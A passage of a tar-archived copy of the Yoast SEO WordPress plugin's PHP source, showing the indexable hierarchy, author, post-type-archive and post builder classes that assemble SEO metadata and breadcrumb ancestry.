			$indexable->breadcrumb_title = $this->options->get( static::OPTION_MAPPING[ $object_sub_type ]['breadcrumb_title'] );
		}

		$indexable->version = $this->version;

		return $indexable;
	}
}
wordpress-seo/src/builders/indexable-hierarchy-builder.php000064400000026361147510273100020034 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use WP_Post;
use WP_Term;
use WPSEO_Meta;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Repositories\Primary_Term_Repository;

/**
 * Builder for the indexables hierarchy.
 *
 * Builds the indexable hierarchy for indexables.
 */
class Indexable_Hierarchy_Builder {

	/**
	 * Holds a list of indexable ids where the ancestors are saved for.
	 *
	 * @var array<int>
	 */
	protected $saved_ancestors = [];

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * The indexable hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	private $indexable_hierarchy_repository;

	/**
	 * The primary term repository.
	 *
	 * @var Primary_Term_Repository
	 */
	private $primary_term_repository;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Holds the Post_Helper instance.
	 *
	 * @var Post_Helper
	 */
	private $post;

	/**
	 * Holds the Indexable_Helper instance.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Indexable_Author_Builder constructor.
	 *
	 * @param Indexable_Hierarchy_Repository $indexable_hierarchy_repository The indexable hierarchy repository.
	 * @param Primary_Term_Repository        $primary_term_repository        The primary term repository.
	 * @param Options_Helper                 $options                        The options helper.
	 * @param Post_Helper                    $post                           The post helper.
	 * @param Indexable_Helper               $indexable_helper               The indexable helper.
	 */
	public function __construct(
		Indexable_Hierarchy_Repository $indexable_hierarchy_repository,
		Primary_Term_Repository $primary_term_repository,
		Options_Helper $options,
		Post_Helper $post,
		Indexable_Helper $indexable_helper
	) {
		$this->indexable_hierarchy_repository = $indexable_hierarchy_repository;
		$this->primary_term_repository        = $primary_term_repository;
		$this->options                        = $options;
		$this->post                           = $post;
		$this->indexable_helper               = $indexable_helper;
	}

	/**
	 * Sets the indexable repository. Done to avoid circular dependencies.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 *
	 * @return void
	 */
	public function set_indexable_repository( Indexable_Repository $indexable_repository ) {
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Builds the ancestor hierarchy for an indexable.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return Indexable The indexable.
	 */
	public function build( Indexable $indexable ) {
		if ( $this->hierarchy_is_built( $indexable ) ) {
			return $indexable;
		}

		if ( ! $this->indexable_helper->should_index_indexable( $indexable ) ) {
			return $indexable;
		}

		$this->indexable_hierarchy_repository->clear_ancestors( $indexable->id );
		$indexable_id = $this->get_indexable_id( $indexable );
		$ancestors    = [];
		if ( $indexable->object_type === 'post' ) {
			$this->add_ancestors_for_post( $indexable_id, $indexable->object_id, $ancestors );
		}

		if ( $indexable->object_type === 'term' ) {
			$this->add_ancestors_for_term( $indexable_id, $indexable->object_id, $ancestors );
		}
		$indexable->ancestors     = \array_reverse( \array_values( $ancestors ) );
		$indexable->has_ancestors = ! empty( $ancestors );
		if ( $indexable->id ) {
			$this->save_ancestors( $indexable );
		}

		return $indexable;
	}

	/**
	 * Checks if a hierarchy is built already for the given indexable.
	 *
	 * @param Indexable $indexable The indexable to check.
	 *
	 * @return bool True when indexable has a built hierarchy.
	 */
	protected function hierarchy_is_built( Indexable $indexable ) {
		if ( \in_array( $indexable->id, $this->saved_ancestors, true ) ) {
			return true;
		}

		$this->saved_ancestors[] = $indexable->id;

		return false;
	}

	/**
	 * Saves the ancestors.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return void
	 */
	private function save_ancestors( $indexable ) {
		if ( empty( $indexable->ancestors ) ) {
			$this->indexable_hierarchy_repository->add_ancestor( $indexable->id, 0, 0 );
			return;
		}
		$depth = \count( $indexable->ancestors );
		foreach ( $indexable->ancestors as $ancestor ) {
			$this->indexable_hierarchy_repository->add_ancestor( $indexable->id, $ancestor->id, $depth );
			--$depth;
		}
	}

	/**
	 * Adds ancestors for a post.
	 *
	 * @param int   $indexable_id The indexable id, this is the id of the original indexable.
	 * @param int   $post_id      The post id, this is the id of the post currently being evaluated.
	 * @param int[] $parents      The indexable IDs of all parents.
	 *
	 * @return void
	 */
	private function add_ancestors_for_post( $indexable_id, $post_id, &$parents ) {
		$post = $this->post->get_post( $post_id );

		if ( ! isset( $post->post_parent ) ) {
			return;
		}

		if ( $post->post_parent !== 0 && $this->post->get_post( $post->post_parent ) !== null ) {
			$ancestor = $this->indexable_repository->find_by_id_and_type( $post->post_parent, 'post' );
			if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) {
				return;
			}

			$parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor;

			$this->add_ancestors_for_post( $indexable_id, $ancestor->object_id, $parents );

			return;
		}

		$primary_term_id = $this->find_primary_term_id_for_post( $post );

		if ( $primary_term_id === 0 ) {
			return;
		}

		$ancestor = $this->indexable_repository->find_by_id_and_type( $primary_term_id, 'term' );
		if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) {
			return;
		}

		$parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor;

		$this->add_ancestors_for_term( $indexable_id, $ancestor->object_id, $parents );
	}

	/**
	 * Adds ancestors for a term.
	 *
	 * @param int   $indexable_id The indexable id, this is the id of the original indexable.
	 * @param int   $term_id      The term id, this is the id of the term currently being evaluated.
	 * @param int[] $parents      The indexable IDs of all parents.
	 *
	 * @return void
	 */
	private function add_ancestors_for_term( $indexable_id, $term_id, &$parents = [] ) {
		$term         = \get_term( $term_id );
		$term_parents = $this->get_term_parents( $term );

		foreach ( $term_parents as $parent ) {
			$ancestor = $this->indexable_repository->find_by_id_and_type( $parent->term_id, 'term' );
			if ( $this->is_invalid_ancestor( $ancestor, $indexable_id, $parents ) ) {
				continue;
			}

			$parents[ $this->get_indexable_id( $ancestor ) ] = $ancestor;
		}
	}

	/**
	 * Gets the primary term ID for a post.
	 *
	 * @param WP_Post $post The post.
	 *
	 * @return int The primary term ID. 0 if none exists.
	 */
	private function find_primary_term_id_for_post( $post ) {
		$main_taxonomy = $this->options->get( 'post_types-' . $post->post_type . '-maintax' );

		if ( ! $main_taxonomy || $main_taxonomy === '0' ) {
			return 0;
		}

		$primary_term_id = $this->get_primary_term_id( $post->ID, $main_taxonomy );

		if ( $primary_term_id ) {
			$term = \get_term( $primary_term_id );
			if ( $term !== null && ! \is_wp_error( $term ) ) {
				return $primary_term_id;
			}
		}

		$terms = \get_the_terms( $post->ID, $main_taxonomy );

		if ( ! \is_array( $terms ) || empty( $terms ) ) {
			return 0;
		}

		return $this->find_deepest_term_id( $terms );
	}

	/**
	 * Find the deepest term in an array of term objects.
	 *
	 * @param array<WP_Term> $terms Terms set.
	 *
	 * @return int The deepest term ID.
	 */
	private function find_deepest_term_id( $terms ) {
		/*
		 * Let's find the deepest term in this array, by looping through and then
		 * unsetting every term that is used as a parent by another one in the array.
		 */
		$terms_by_id = [];
		foreach ( $terms as $term ) {
			$terms_by_id[ $term->term_id ] = $term;
		}
		foreach ( $terms as $term ) {
			unset( $terms_by_id[ $term->parent ] );
		}

		/*
		 * As we could still have two subcategories, from different parent categories,
		 * let's pick the one with the lowest ordered ancestor.
		 */
		$parents_count = -1;
		$term_order    = 9999; // Because ASC.
		$deepest_term  = \reset( $terms_by_id );
		foreach ( $terms_by_id as $term ) {
			$parents = $this->get_term_parents( $term );

			$new_parents_count = \count( $parents );

			if ( $new_parents_count < $parents_count ) {
				continue;
			}

			$parent_order = 9999; // Set default order.
			foreach ( $parents as $parent ) {
				if ( $parent->parent === 0 && isset( $parent->term_order ) ) {
					$parent_order = $parent->term_order;
				}
			}

			// Check if parent has lowest order.
			if ( $new_parents_count > $parents_count || $parent_order < $term_order ) {
				$term_order   = $parent_order;
				$deepest_term = $term;
			}

			$parents_count = $new_parents_count;
		}

		return $deepest_term->term_id;
	}

	/**
	 * Get a term's parents.
	 *
	 * @param WP_Term $term Term to get the parents for.
	 *
	 * @return WP_Term[] An array of all this term's parents.
	 */
	private function get_term_parents( $term ) {
		$tax     = $term->taxonomy;
		$parents = [];
		while ( (int) $term->parent !== 0 ) {
			$term      = \get_term( $term->parent, $tax );
			$parents[] = $term;
		}

		return $parents;
	}

	/**
	 * Checks if an ancestor is valid to add.
	 *
	 * @param Indexable $ancestor     The ancestor (presumed indexable) to check.
	 * @param int       $indexable_id The indexable id we're adding ancestors for.
	 * @param int[]     $parents      The indexable ids of the parents already added.
	 *
	 * @return bool
	 */
	private function is_invalid_ancestor( $ancestor, $indexable_id, $parents ) {
		// If the ancestor is not an Indexable, it is invalid by default.
		if ( ! \is_a( $ancestor, 'Yoast\WP\SEO\Models\Indexable' ) ) {
			return true;
		}

		// Don't add ancestors if they're unindexed, already added or the same as the main object.
		if ( $ancestor->post_status === 'unindexed' ) {
			return true;
		}

		$ancestor_id = $this->get_indexable_id( $ancestor );
		if ( \array_key_exists( $ancestor_id, $parents ) ) {
			return true;
		}

		if ( $ancestor_id === $indexable_id ) {
			return true;
		}

		return false;
	}

	/**
	 * Returns the ID for an indexable. Catches situations where the id is null due to errors.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return string|int A unique ID for the indexable.
	 */
	private function get_indexable_id( Indexable $indexable ) {
		if ( $indexable->id === 0 ) {
			return "{$indexable->object_type}:{$indexable->object_id}";
		}

		return $indexable->id;
	}

	/**
	 * Returns the primary term id of a post.
	 *
	 * @param int    $post_id       The post ID.
	 * @param string $main_taxonomy The main taxonomy.
	 *
	 * @return int The ID of the primary term.
	 */
	private function get_primary_term_id( $post_id, $main_taxonomy ) {
		$primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false );

		if ( $primary_term ) {
			return $primary_term->term_id;
		}

		return \get_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy, true );
	}
}
wordpress-seo/src/builders/indexable-author-builder.php000064400000017117147510273100017357 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Exceptions\Indexable\Author_Not_Built_Exception;
use Yoast\WP\SEO\Helpers\Author_Archive_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Author Builder for the indexables.
 *
 * Formats the author meta to indexable format.
 */
class Indexable_Author_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * The author archive helper.
	 *
	 * @var Author_Archive_Helper
	 */
	private $author_archive;

	/**
	 * The latest version of the Indexable_Author_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the options helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Holds the taxonomy helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Indexable_Author_Builder constructor.
	 *
	 * @param Author_Archive_Helper      $author_archive The author archive helper.
	 * @param Indexable_Builder_Versions $versions       The Indexable version manager.
	 * @param Options_Helper             $options_helper The options helper.
	 * @param Post_Helper                $post_helper    The post helper.
	 */
	public function __construct(
		Author_Archive_Helper $author_archive,
		Indexable_Builder_Versions $versions,
		Options_Helper $options_helper,
		Post_Helper $post_helper
	) {
		$this->author_archive = $author_archive;
		$this->version        = $versions->get_latest_version_for_type( 'user' );
		$this->options_helper = $options_helper;
		$this->post_helper    = $post_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param int       $user_id   The user to retrieve the indexable for.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 *
	 * @throws Author_Not_Built_Exception When author is not built.
	 */
	public function build( $user_id, Indexable $indexable ) {
		$exception = $this->check_if_user_should_be_indexed( $user_id );
		if ( $exception ) {
			throw $exception;
		}

		$meta_data = $this->get_meta_data( $user_id );

		$indexable->object_id              = $user_id;
		$indexable->object_type            = 'user';
		$indexable->permalink              = \get_author_posts_url( $user_id );
		$indexable->title                  = $meta_data['wpseo_title'];
		$indexable->description            = $meta_data['wpseo_metadesc'];
		$indexable->is_cornerstone         = false;
		$indexable->is_robots_noindex      = ( $meta_data['wpseo_noindex_author'] === 'on' );
		$indexable->is_robots_nofollow     = null;
		$indexable->is_robots_noarchive    = null;
		$indexable->is_robots_noimageindex = null;
		$indexable->is_robots_nosnippet    = null;
		$indexable->is_public              = ( $indexable->is_robots_noindex ) ? false : null;
		$indexable->has_public_posts       = $this->author_archive->author_has_public_posts( $user_id );
		$indexable->blog_id                = \get_current_blog_id();

		$this->reset_social_images( $indexable );
		$this->handle_social_images( $indexable );

		$timestamps                      = $this->get_object_timestamps( $user_id );
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		$indexable->version = $this->version;

		return $indexable;
	}

	/**
	 * Retrieves the meta data for this indexable.
	 *
	 * @param int $user_id The user to retrieve the meta data for.
	 *
	 * @return array List of meta entries.
	 */
	protected function get_meta_data( $user_id ) {
		$keys = [
			'wpseo_title',
			'wpseo_metadesc',
			'wpseo_noindex_author',
		];

		$output = [];
		foreach ( $keys as $key ) {
			$output[ $key ] = $this->get_author_meta( $user_id, $key );
		}

		return $output;
	}

	/**
	 * Retrieves the author meta.
	 *
	 * @param int    $user_id The user to retrieve the indexable for.
	 * @param string $key     The meta entry to retrieve.
	 *
	 * @return string|null The value of the meta field.
	 */
	protected function get_author_meta( $user_id, $key ) {
		$value = \get_the_author_meta( $key, $user_id );
		if ( \is_string( $value ) && $value === '' ) {
			return null;
		}

		return $value;
	}

	/**
	 * Finds an alternative image for the social image.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return array|bool False when not found, array with data when found.
	 */
	protected function find_alternative_image( Indexable $indexable ) {
		$gravatar_image = \get_avatar_url(
			$indexable->object_id,
			[
				'size'   => 500,
				'scheme' => 'https',
			]
		);
		if ( $gravatar_image ) {
			return [
				'image'  => $gravatar_image,
				'source' => 'gravatar-image',
			];
		}

		return false;
	}

	/**
	 * Returns the timestamps for a given author.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps( $author_id ) {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';
		$replacements[] = 'post_author';
		$replacements[] = $author_id;

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
				SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
				FROM %i AS p
				WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
					AND p.%i = ''
					AND p.%i = %d
				",
				$replacements
			)
		);
		//phpcs:enable
	}

	/**
	 * Checks if the user should be indexed.
	 * Returns an exception with an appropriate message if not.
	 *
	 * @param string $user_id The user id.
	 *
	 * @return Author_Not_Built_Exception|null The exception if it should not be indexed, or `null` if it should.
	 */
	protected function check_if_user_should_be_indexed( $user_id ) {
		$exception = null;

		if ( $this->author_archive->are_disabled() ) {
			$exception = Author_Not_Built_Exception::author_archives_are_disabled( $user_id );
		}

		// We will check if the author has public posts the WP way, instead of the indexable way, to make sure we get proper results even if SEO optimization is not run.
		// In case the user has no public posts, we check if the user should be indexed anyway.
		if ( $this->options_helper->get( 'noindex-author-noposts-wpseo', false ) === true && $this->author_archive->author_has_public_posts_wp( $user_id ) === false ) {
			$exception = Author_Not_Built_Exception::author_archives_are_not_indexed_for_users_without_posts( $user_id );
		}

		/**
		 * Filter: Include or exclude a user from being build and saved as an indexable.
		 * Return an `Author_Not_Built_Exception` when the indexable should not be build, with an appropriate message telling why it should not be built.
		 * Return `null` if the indexable should be build.
		 *
		 * @param Author_Not_Built_Exception|null $exception An exception if the indexable is not being built, `null` if the indexable should be built.
		 * @param string                          $user_id   The ID of the user that should or should not be excluded.
		 */
		return \apply_filters( 'wpseo_should_build_and_save_user_indexable', $exception, $user_id );
	}
}
wordpress-seo/src/builders/indexable-post-type-archive-builder.php000064400000012324147510273100021433 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Exceptions\Indexable\Post_Type_Not_Built_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Post type archive builder for the indexables.
 *
 * Formats the post type archive meta to indexable format.
 */
class Indexable_Post_Type_Archive_Builder {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The latest version of the Indexable_Post_Type_Archive_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Holds the post helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * Holds the post type helper instance.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Indexable_Post_Type_Archive_Builder constructor.
	 *
	 * @param Options_Helper             $options          The options helper.
	 * @param Indexable_Builder_Versions $versions         The latest version of each Indexable builder.
	 * @param Post_Helper                $post_helper      The post helper.
	 * @param Post_Type_Helper           $post_type_helper The post type helper.
	 */
	public function __construct(
		Options_Helper $options,
		Indexable_Builder_Versions $versions,
		Post_Helper $post_helper,
		Post_Type_Helper $post_type_helper
	) {
		$this->options          = $options;
		$this->version          = $versions->get_latest_version_for_type( 'post-type-archive' );
		$this->post_helper      = $post_helper;
		$this->post_type_helper = $post_type_helper;
	}

	/**
	 * Formats the data.
	 *
	 * @param string    $post_type The post type to build the indexable for.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 * @throws Post_Type_Not_Built_Exception Throws exception if the post type is excluded.
	 */
	public function build( $post_type, Indexable $indexable ) {
		if ( ! $this->post_type_helper->is_post_type_archive_indexable( $post_type ) ) {
			throw Post_Type_Not_Built_Exception::because_not_indexable( $post_type );
		}

		$indexable->object_type       = 'post-type-archive';
		$indexable->object_sub_type   = $post_type;
		$indexable->title             = $this->options->get( 'title-ptarchive-' . $post_type );
		$indexable->description       = $this->options->get( 'metadesc-ptarchive-' . $post_type );
		$indexable->breadcrumb_title  = $this->get_breadcrumb_title( $post_type );
		$indexable->permalink         = \get_post_type_archive_link( $post_type );
		$indexable->is_robots_noindex = $this->options->get( 'noindex-ptarchive-' . $post_type );
		$indexable->is_public         = ( (int) $indexable->is_robots_noindex !== 1 );
		$indexable->blog_id           = \get_current_blog_id();
		$indexable->version           = $this->version;

		$timestamps                      = $this->get_object_timestamps( $post_type );
		$indexable->object_published_at  = $timestamps->published_at;
		$indexable->object_last_modified = $timestamps->last_modified;

		return $indexable;
	}

	/**
	 * Returns the fallback breadcrumb title for a given post.
	 *
	 * @param string $post_type The post type to get the fallback breadcrumb title for.
	 *
	 * @return string
	 */
	private function get_breadcrumb_title( $post_type ) {
		$options_breadcrumb_title = $this->options->get( 'bctitle-ptarchive-' . $post_type );

		if ( $options_breadcrumb_title !== '' ) {
			return $options_breadcrumb_title;
		}

		$post_type_obj = \get_post_type_object( $post_type );

		if ( ! \is_object( $post_type_obj ) ) {
			return '';
		}

		if ( isset( $post_type_obj->label ) && $post_type_obj->label !== '' ) {
			return $post_type_obj->label;
		}

		if ( isset( $post_type_obj->labels->menu_name ) && $post_type_obj->labels->menu_name !== '' ) {
			return $post_type_obj->labels->menu_name;
		}

		return $post_type_obj->name;
	}

	/**
	 * Returns the timestamps for a given post type.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return object An object with last_modified and published_at timestamps.
	 */
	protected function get_object_timestamps( $post_type ) {
		global $wpdb;
		$post_statuses = $this->post_helper->get_public_post_statuses();

		$replacements   = [];
		$replacements[] = 'post_modified_gmt';
		$replacements[] = 'post_date_gmt';
		$replacements[] = $wpdb->posts;
		$replacements[] = 'post_status';
		$replacements   = \array_merge( $replacements, $post_statuses );
		$replacements[] = 'post_password';
		$replacements[] = 'post_type';
		$replacements[] = $post_type;

		//phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need to use a direct query here.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		return $wpdb->get_row(
			$wpdb->prepare(
				'
				SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at
				FROM %i AS p
				WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ")
					AND p.%i = ''
					AND p.%i = %s
				",
				$replacements
			)
		);
		//phpcs:enable
	}
}
wordpress-seo/src/builders/indexable-post-builder.php000064400000030307147510273100017036 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use WP_Error;
use WP_Post;
use Yoast\WP\SEO\Exceptions\Indexable\Post_Not_Built_Exception;
use Yoast\WP\SEO\Exceptions\Indexable\Post_Not_Found_Exception;
use Yoast\WP\SEO\Helpers\Meta_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Post Builder for the indexables.
 *
 * Formats the post meta to indexable format.
 */
class Indexable_Post_Builder {

	use Indexable_Social_Image_Trait;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Holds the Post_Helper instance.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Knows the latest version of the Indexable post builder type.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * The meta helper.
	 *
	 * @var Meta_Helper
	 */
	protected $meta;

	/**
	 * Indexable_Post_Builder constructor.
	 *
	 * @param Post_Helper                $post_helper      The post helper.
	 * @param Post_Type_Helper           $post_type_helper The post type helper.
	 * @param Indexable_Builder_Versions $versions         The indexable builder versions.
	 * @param Meta_Helper                $meta             The meta helper.
	 */
	public function __construct(
		Post_Helper $post_helper,
		Post_Type_Helper $post_type_helper,
		Indexable_Builder_Versions $versions,
		Meta_Helper $meta
	) {
		$this->post_helper      = $post_helper;
		$this->post_type_helper = $post_type_helper;
		$this->version          = $versions->get_latest_version_for_type( 'post' );
		$this->meta             = $meta;
	}

	/**
	 * Sets the indexable repository. Done to avoid circular dependencies.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 *
	 * @return void
	 */
	public function set_indexable_repository( Indexable_Repository $indexable_repository ) {
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Formats the data.
	 *
	 * @param int       $post_id   The post ID to use.
	 * @param Indexable $indexable The indexable to format.
	 *
	 * @return bool|Indexable The extended indexable. False when unable to build.
	 *
	 * @throws Post_Not_Found_Exception When the post could not be found.
	 * @throws Post_Not_Built_Exception When the post should not be indexed.
	 */
	public function build( $post_id, $indexable ) {
		if ( ! $this->post_helper->is_post_indexable( $post_id ) ) {
			throw Post_Not_Built_Exception::because_not_indexable( $post_id );
		}

		$post = $this->post_helper->get_post( $post_id );

		if ( $post === null ) {
			throw new Post_Not_Found_Exception();
		}

		if ( $this->should_exclude_post( $post ) ) {
			throw Post_Not_Built_Exception::because_post_type_excluded( $post_id );
		}

		$indexable->object_id       = $post_id;
		$indexable->object_type     = 'post';
		$indexable->object_sub_type = $post->post_type;
		$indexable->permalink       = $this->get_permalink( $post->post_type, $post_id );

		$indexable->primary_focus_keyword_score = $this->get_keyword_score(
			$this->meta->get_value( 'focuskw', $post_id ),
			(int) $this->meta->get_value( 'linkdex', $post_id )
		);

		$indexable->readability_score = (int) $this->meta->get_value( 'content_score', $post_id );

		$indexable->inclusive_language_score = (int) $this->meta->get_value( 'inclusive_language_score', $post_id );

		$indexable->is_cornerstone    = ( $this->meta->get_value( 'is_cornerstone', $post_id ) === '1' );
		$indexable->is_robots_noindex = $this->get_robots_noindex(
			(int) $this->meta->get_value( 'meta-robots-noindex', $post_id )
		);

		// Set additional meta-robots values.
		$indexable->is_robots_nofollow = ( $this->meta->get_value( 'meta-robots-nofollow', $post_id ) === '1' );
		$noindex_advanced              = $this->meta->get_value( 'meta-robots-adv', $post_id );
		$meta_robots                   = \explode( ',', $noindex_advanced );

		foreach ( $this->get_robots_options() as $meta_robots_option ) {
			$indexable->{'is_robots_' . $meta_robots_option} = \in_array( $meta_robots_option, $meta_robots, true ) ? 1 : null;
		}

		$this->reset_social_images( $indexable );

		foreach ( $this->get_indexable_lookup() as $meta_key => $indexable_key ) {
			$indexable->{$indexable_key} = $this->empty_string_to_null( $this->meta->get_value( $meta_key, $post_id ) );
		}

		if ( empty( $indexable->breadcrumb_title ) ) {
			$indexable->breadcrumb_title = \wp_strip_all_tags( \get_the_title( $post_id ), true );
		}

		$this->handle_social_images( $indexable );

		$indexable->author_id   = $post->post_author;
		$indexable->post_parent = $post->post_parent;

		$indexable->number_of_pages  = $this->get_number_of_pages_for_post( $post );
		$indexable->post_status      = $post->post_status;
		$indexable->is_protected     = $post->post_password !== '';
		$indexable->is_public        = $this->is_public( $indexable );
		$indexable->has_public_posts = $this->has_public_posts( $indexable );
		$indexable->blog_id          = \get_current_blog_id();

		$indexable->schema_page_type    = $this->empty_string_to_null( $this->meta->get_value( 'schema_page_type', $post_id ) );
		$indexable->schema_article_type = $this->empty_string_to_null( $this->meta->get_value( 'schema_article_type', $post_id ) );

		$indexable->object_last_modified = $post->post_modified_gmt;
		$indexable->object_published_at  = $post->post_date_gmt;

		$indexable->version = $this->version;

		return $indexable;
	}

	/**
	 * Retrieves the permalink for a post with the given post type and ID.
	 *
	 * @param string $post_type The post type.
	 * @param int    $post_id   The post ID.
	 *
	 * @return false|string|WP_Error The permalink.
	 */
	protected function get_permalink( $post_type, $post_id ) {
		if ( $post_type !== 'attachment' ) {
			return \get_permalink( $post_id );
		}

		return \wp_get_attachment_url( $post_id );
	}

	/**
	 * Determines the value of is_public.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|null Whether or not the post type is public. Null if no override is set.
	 */
	protected function is_public( $indexable ) {
		if ( $indexable->is_protected === true ) {
			return false;
		}

		if ( $indexable->is_robots_noindex === true ) {
			return false;
		}

		// Attachments behave differently than the other post types, since they inherit from their parent.
		if ( $indexable->object_sub_type === 'attachment' ) {
			return $this->is_public_attachment( $indexable );
		}

		if ( ! \in_array( $indexable->post_status, $this->post_helper->get_public_post_statuses(), true ) ) {
			return false;
		}

		if ( $indexable->is_robots_noindex === false ) {
			return true;
		}

		return null;
	}

	/**
	 * Determines the value of is_public for attachments.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|null False when it has no parent. Null when it has a parent.
	 */
	protected function is_public_attachment( $indexable ) {
		// If the attachment has no parent, it should not be public.
		if ( empty( $indexable->post_parent ) ) {
			return false;
		}

		// If the attachment has a parent, the is_public should be NULL.
		return null;
	}

	/**
	 * Determines the value of has_public_posts.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|null Whether the attachment has a public parent, can be true, false and null. Null when it is not an attachment.
	 */
	protected function has_public_posts( $indexable ) {
		// Only attachments (and authors) have this value.
		if ( $indexable->object_sub_type !== 'attachment' ) {
			return null;
		}

		// The attachment should have a post parent.
		if ( empty( $indexable->post_parent ) ) {
			return false;
		}

		// The attachment should inherit the post status.
		if ( $indexable->post_status !== 'inherit' ) {
			return false;
		}

		// The post parent should be public.
		$post_parent_indexable = $this->indexable_repository->find_by_id_and_type( $indexable->post_parent, 'post' );
		if ( $post_parent_indexable !== false ) {
			return $post_parent_indexable->is_public;
		}

		return false;
	}

	/**
	 * Converts the meta robots noindex value to the indexable value.
	 *
	 * @param int $value Meta value to convert.
	 *
	 * @return bool|null True for noindex, false for index, null for default of parent/type.
	 */
	protected function get_robots_noindex( $value ) {
		$value = (int) $value;

		switch ( $value ) {
			case 1:
				return true;
			case 2:
				return false;
		}

		return null;
	}

	/**
	 * Retrieves the robot options to search for.
	 *
	 * @return array List of robots values.
	 */
	protected function get_robots_options() {
		return [ 'noimageindex', 'noarchive', 'nosnippet' ];
	}

	/**
	 * Determines the focus keyword score.
	 *
	 * @param string $keyword The focus keyword that is set.
	 * @param int    $score   The score saved on the meta data.
	 *
	 * @return int|null Score to use.
	 */
	protected function get_keyword_score( $keyword, $score ) {
		if ( empty( $keyword ) ) {
			return null;
		}

		return $score;
	}

	/**
